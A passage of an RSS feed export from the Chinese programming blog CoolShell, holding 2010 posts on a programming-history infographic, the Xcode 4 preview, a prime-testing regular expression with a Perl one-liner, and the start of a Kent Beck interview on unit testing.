class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" alt=\"你准备使用 HTML 5 吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_title\">你准备使用 HTML 5 吗？</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2735.html\">HTML5 和 Flash 之争</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2735.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>计算机编程简史图</title>\n\t\t<link>https://coolshell.cn/articles/2724.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2724.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 25 Jul 2010 23:54:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2724</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个图片太经典了，本来想翻译的，后来觉得这么经典的图片可能早已被人翻译了，简单的Google一下，果然有人翻译了。那我就把英文版和中文版都转过来吧。我们可以看到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2724.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这个图片太经典了，本来想翻译的，后来觉得这么经典的图片可能早已被人翻译了，简单的Google一下，果然有人翻译了。那我就把英文版和中文版都转过来吧。我们可以看到，其中很大一部分人都和Unix有着不解之缘（参见《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix传奇上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">Unix传奇下篇</a>》）</p>\n<ul>\n<li><a href=\"http://www.smashingmagazine.com/2010/06/06/designing-the-world-of-programming-infographic/\" target=\"_blank\">英文原版</a></li>\n<li><a href=\"http://www.mazingtech.com/cn/list.aspx/News/1/%E5%9B%BE%E8%AF%B4%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BC%96%E7%A8%8B%E7%AE%80%E5%8F%B2\" target=\"_blank\">中文翻译版</a></li>\n</ul>\n<p>什么也不说了，直接上图（图片比较大，单击图片看大图）</p>\n<hr />\n<figure id=\"attachment_2726\" aria-describedby=\"caption-attachment-2726\" style=\"width: 409px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-2726\" title=\"计算机编程简史图（英文版） \" src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-409x1024.jpg\" alt=\"\" width=\"409\" height=\"1024\" /></a><figcaption id=\"caption-attachment-2726\" class=\"wp-caption-text\">计算机编程简史图（英文版） </figcaption></figure>\n<hr />\n<p><span id=\"more-2724\"></span></p>\n<p><figure id=\"attachment_2725\" aria-describedby=\"caption-attachment-2725\" style=\"width: 409px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-2725\" title=\"计算机编程简史图（中文版） \" src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn-409x1024.jpg\" alt=\"\" width=\"409\" height=\"1024\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn-409x1024.jpg 409w, https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn-120x300.jpg 120w, https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn.jpg 1200w\" sizes=\"(max-width: 409px) 100vw, 409px\" /></a><figcaption id=\"caption-attachment-2725\" class=\"wp-caption-text\">计算机编程简史图（中文版） </figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2724.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>苹果开发工具Xcode 4 第二预览版</title>\n\t\t<link>https://coolshell.cn/articles/2719.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2719.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 23 Jul 2010 09:40:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[Interface Builder]]></category>\n\t\t<category><![CDATA[iPad]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<category><![CDATA[LLVM]]></category>\n\t\t<category><![CDATA[Mac]]></category>\n\t\t<category><![CDATA[Xcode]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2719</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，苹果公司向开发者发布Xcode 4 Preview 2，这是一个IDE用来开发在Mac，iPhone，iPad上应用程序的工具。在这个第二预览版中，主要有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2719.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天，苹果公司向开发者发布Xcode 4 Preview 2，这是一个IDE用来开发在Mac，iPhone，iPad上应用程序的工具。在这个第二预览版中，主要有以下新的功能：</p>\n<ul>\n<li>这个版本不像以往的版本有太多的窗口，其把以前那些窗口督统一起来，只有一个窗口。</li>\n<li>集成了Interface Builder（以前这个东东和Xcode是两个东西）</li>\n<li>Xcode Assistant 可以让你的设计和代码同时呈现。</li>\n<li>LLVM Compiler 2.0。LLVM是下一代的编译器，其完全支持C，C++和Objective C，而且编译的速度和编译成的执行速度都快于GCC。同时也引入了LLDB做为新的调试器。</li>\n<li>多版本编译。这个功能可以让你在IDE中编译两个版本的代码，而且可以和Subversion或Git集成。</li>\n</ul>\n<p>你可以访问 <a href=\"http://developer.apple.com/technologies/tools/whats-new.html\" target=\"_blank\">What&#8217;s New</a> 来看看具体的细节。</p>\n<p><figure style=\"width: 651px\" class=\"wp-caption aligncenter\"><a href=\"http://developer.apple.com/technologies/tools/whats-new.html\"><img decoding=\"async\" loading=\"lazy\" title=\"苹果开发工具Xcode 4 Preview 2\" src=\"http://devimages.apple.com/technologies/tools/images/new_single_window20100721.jpg\" alt=\"\" width=\"651\" height=\"409\" /></a><figcaption class=\"wp-caption-text\">苹果开发工具Xcode 4 Preview 2</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"10个必需的iOS开发工具和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_title\">10个必需的iOS开发工具和资源</a></li><li ><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/1-150x150.png\" alt=\"消费者的消费观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_title\">消费者的消费观</a></li><li ><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" alt=\"由苹果的低级Bug想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_title\">由苹果的低级Bug想到的</a></li><li ><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" alt=\"抄袭，腾讯 和 产品 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_title\">抄袭，腾讯 和 产品 </a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"腾讯，竞争力 和 用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_title\">腾讯，竞争力 和 用户体验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2719.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>检查素数的正则表达式</title>\n\t\t<link>https://coolshell.cn/articles/2704.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2704.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 23 Jul 2010 00:22:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[正则表达式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2704</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一般来说，我们会使用正规表达式来做字符串匹配，今天在网上浏览的时候，看到了有人用正则表达式来检查一个数字是否为素数（质数），让我非常感兴趣，这个正则表达式如入所...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2704.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一般来说，我们会使用正规表达式来做字符串匹配，今天在网上浏览的时候，看到了有人用正则表达式来检查一个数字是否为素数（质数），让我非常感兴趣，这个正则表达式如入所示：</p>\n<figure id=\"attachment_2705\" aria-describedby=\"caption-attachment-2705\" style=\"width: 450px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2705\" title=\"检查素数的正则表达式\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/regexpr-for-prime-number.jpg\" alt=\"\" width=\"450\" height=\"45\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/regexpr-for-prime-number.jpg 450w, https://coolshell.cn/wp-content/uploads/2010/07/regexpr-for-prime-number-300x30.jpg 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" /><figcaption id=\"caption-attachment-2705\" class=\"wp-caption-text\">检查素数与否的正则表达式 </figcaption></figure>\n<p>要使用这个正规则表达式，你需要把自然数转成多个1的字符串，如：2 要写成 “11”， 3 要写成 “111”, 17 要写成“11111111111111111”，这种工作使用一些脚本语言可以轻松的完成。</p>\n<p>一开始我对这个表达式持怀疑态度，但仔细研究了一下这个表达式，发现是非常合理的，下面，让我带你来细细剖析一下是这个表达式的工作原理。</p>\n<p>首先，我们看到这个表达式中有“|”，也就是说这个表达式可以分成两个部分：/^1?$/ 和 /^(11+?)\\1+$/</p>\n<ul>\n<li><strong>第一部分：/^1?$/</strong>， 这个部分相信不用我多说了，其表示匹配“空串”以及字串中只有一个“1”的字符串。</li>\n<li><strong>第二部分：/^(11+?)\\1+$/</strong>，这个部分是整个表达式的关键部分。其可以分成两个部分，<strong>(11+?)</strong> 和<strong>\\1+$</strong>，前半部很简单了，匹配以“11”开头的并重复0或n个1的字符串，后面的部分意思是把前半部分作为一个字串去匹配还剩下的字符串1次或多次（这句话的意思是——<span style=\"color: #008000;\">剩余的字串的1的个数要是前面字串1个数的整数倍</span>）。</li>\n</ul>\n<p>可见这个正规则表达式是取非素数，要得到素数还得要对整个表达式求反。通过上面的分析，我们知道，第二部分是最重要的，对于第二部分，举几个例子，</p>\n<p><span id=\"more-2704\"></span></p>\n<p><strong>示例一：判断自然数8</strong>。我们可以知道，8转成我们的格式就是“11111111”，对于<strong>(11+?)</strong>，其匹配了“11”，于是还剩下“111111”，而<strong>\\1+$</strong>正好匹配了剩下的“111111”，因为，“11”这个模式在“111111”出现了三次，符合模式匹配，返回true。所以，匹配成功，于是这个数不是质数。</p>\n<p><strong>示例二：判断自然数11</strong>。转成我们需要的格式是“11111111111”（十一个1），对于<strong>(11+?)</strong>，其匹配了“11”（前两个1），还剩下“111111111”（九个1），而<strong>\\1+$</strong>无法为“11”匹配那“九个1”，因为“11”这个模式并没有在“九个1”这个串中正好出现N次。于是，我们的正则表达式引擎会尝试下一种方法，先匹配“111”（前三个1），然后把“111”作为模式去匹配剩下的“11111111”（八个1），很明显，那“八个1”并没有匹配“三个1”多次。所以，引擎会继续向下尝试……直至尝试所有可能都无法匹配成功。所以11是素数。</p>\n<p>通过示例二，我们可以得到这样的等价数算算法，正则表达式会匹配这若干个1中有没有出现“二个1”的整数倍，“三个1”的整数倍，“四个1”的整数倍……，而，这正好是我们需要的算素数的算法。现在大家明白了吧。</p>\n<p>下面，我们用perl来使用这个正规则表达式不停地输出素数：（关于perl的语法我就不多说了，请注意表达式前的取反操作符）</p>\n<p>[perl]perl -e&#8217;$|++;(1 x$_)!~/^1?$|^(11+?)\\1+$/&amp;&amp;print&quot;$_ &quot;while ++$_'[/perl]</p>\n<p>另外，让我们来举一反三，根据上述的这种方法，我们甚至可以用正则表达式来求证某方式是否有解，如：</p>\n<ul>\n<li><strong>二元方程</strong>：17x + 12y = 51   判断其是否有解的正则表达式是：<strong>^</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\1{16}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\2{11}$</strong></li>\n<li><strong>三元方程</strong>：11x + 2y + 5z = 115 判断其是否有解的正则表达式是：<strong>^</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\1{10}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\2{1}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\3{4}$</strong></li>\n</ul>\n<p>大家不妨自己做做练习，为什么上述的两个正则表达式可以判断方程是否有解。如果无法参透其中的奥妙的话，你可以读读这篇<a href=\"http://blog.stevenlevithan.com/archives/algebra-with-regexes\" target=\"_blank\">英文文章</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"正则表达式生成器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_title\">正则表达式生成器</a></li><li ><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"十个Web开发文章和教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_title\">十个Web开发文章和教程</a></li><li ><a href=\"https://coolshell.cn/articles/1574.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"bash 函数级重定向\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1574.html\" class=\"wp_rp_title\">bash 函数级重定向</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/1095.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"整洁代码的4个提示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1095.html\" class=\"wp_rp_title\">整洁代码的4个提示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2704.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>55</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Kent Beck 谈单元测试和持续部署</title>\n\t\t<link>https://coolshell.cn/articles/2681.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2681.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Thu, 22 Jul 2010 00:00:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[软件开发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2681</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 2010年7月2日，Roy Osherove 和 Kent Beck 在 blog.typemock.com 进行了一次对话，话题涉及单元测试（Uni...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2681.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><a href=\"http://blog.typemock.com/2010/07/video-kent-beck-on-junit-max-and-lean.html\">文章来源</a></em></p>\n<p>2010年7月2日，Roy Osherove 和 Kent Beck 在 blog.typemock.com 进行了一次对话，话题涉及单元测试（Unit Testing），<a href=\"http://www.threeriversinstitute.org/junitmax/\">JUnit Max</a>（Kent 开发的一个单元测试的 Eclipse Plugin，不免费），和面向初创企业的精益方法（Lean Startups）。</p>\n<p><strong>单元测试和 JUnit Max</strong><br />\n作为软件开发方法学的大师、极限编程XP的创始人、敏捷宣言的创始人之一，Kent Beck 一直在努力最大化地利用单元测试的价值，他说一些程序员仍然认为单元测试并不是他们的工作，但是单元测试确实能够提高软件的质量。目前他正在开发 JUnit Max，这是一个 Eclipse plugin，每当程序员保存一个 Java 源文件的时候，JUnit Max 就会运行测试并报告反馈信息。测试中的错误将会如同编译错误一样被报告给程序员。JUnit Max 的核心思想是测试错误应该和编译错误一样被 IDE 报告给程序员，程序员不需要额外的菜单选项或者运行其他的工具来运行测试。特别是那些经常失败的测试，对于程序员来说是非常有价值的反馈信息。在测试驱动开发（Test Driven Development &#8211; TDD）中，我们重复着这样一个循环：“编写一个‘失败’的测试（Failing Test）” &#8211; “编码实现功能以便让测试通过”，随着开发的深入，测试越来越丰富，测试能够反馈给程序员的信息也越来越多，它们可以帮助程序员找出那些需要改进的代码。JUnit Max 能够缩短这个循环的周期，因为它更为频繁地运行测试和提供反馈。Roy 问道：“当你一个人编码的时候，你是否严格地遵循 TDD，即一定要先写测试，然后写实现代码。我个人发现这并不是一件容易做到的事情，特别是当一个人编码的时候。” Kent 回答：“视情况而定，有时候并不需要死板地遵循 TDD，比如当我在做一些探索性或者说实验性的编码时，并不需要写测试，因为我只是想尝试一下某些功能和特性。”</p>\n<p><span id=\"more-2681\"></span></p>\n<p>Roy： “你在测试驱动开发中见过的最糟糕的错误有哪些？”<br 